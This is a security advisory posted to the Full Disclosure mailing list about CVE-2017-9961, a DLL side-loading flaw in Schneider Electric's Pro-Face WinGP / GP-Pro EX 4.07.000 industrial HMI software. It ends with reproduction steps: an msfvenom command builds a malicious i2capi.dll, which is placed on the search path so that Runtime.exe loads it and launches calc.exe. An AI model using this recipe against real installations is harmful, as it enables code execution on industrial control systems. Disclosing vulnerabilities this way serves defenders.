Vendor: Schneider Electric Equipment: Pro-Face WinGP Vulnerability: Uncontrolled Search Path Element (DLL side-loading)
Advisory URL: https://ipositivesecurity.com/2017/06/28/ics-schneider-electric-pro-face-wingp-insecure-library-loading-allows-code-execution/ ICS-CERT Advisory https://ics-cert.us-cert.gov/advisories/ICSA-17-215-01 ------------------------ AFFECTED PRODUCTS ------------------------ The following versions of Pro-face GP-Pro EX software, an HMI management platform, are affected: GP Pro EX version 4.07.000 ------------------------ BACKGROUND ------------------------ Critical Infrastructure Sector: Energy Countries/Areas Deployed: Worldwide Company Headquarters Location: Paris, France ------------------------ IMPACT ------------------------ Successful exploitation of this vulnerability may allow arbitrary code execution. ------------------------ VULNERABILITY OVERVIEW ------------------------ UNCONTROLLED SEARCH PATH ELEMENT CWE-427 An attacker is able to force the process to load an arbitrary DLL and execute arbitrary code in the context of the process. CVE-2017-9961 has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been assigned; the CVSS vector string is (AV:L/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:H). ------------------------ Missing Libraries ------------------------ i2capi.dll ------------------------ Application Executables (that look for missing DLL) ------------------------ Runtime.exe ------------------------ Steps to reproduce ------------------------ 1. Generate a dll payload msfvenom –p windows/exec cmd=calc.exe –f dll –o i2capi.dll 2. Place this dll in any directory defined in the PATH environment variable C:\Pro-face\WinGP\ 3. Run Runtime.exe -> calc.exe executes +++++ Best Regards, Karn Ganeshen _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
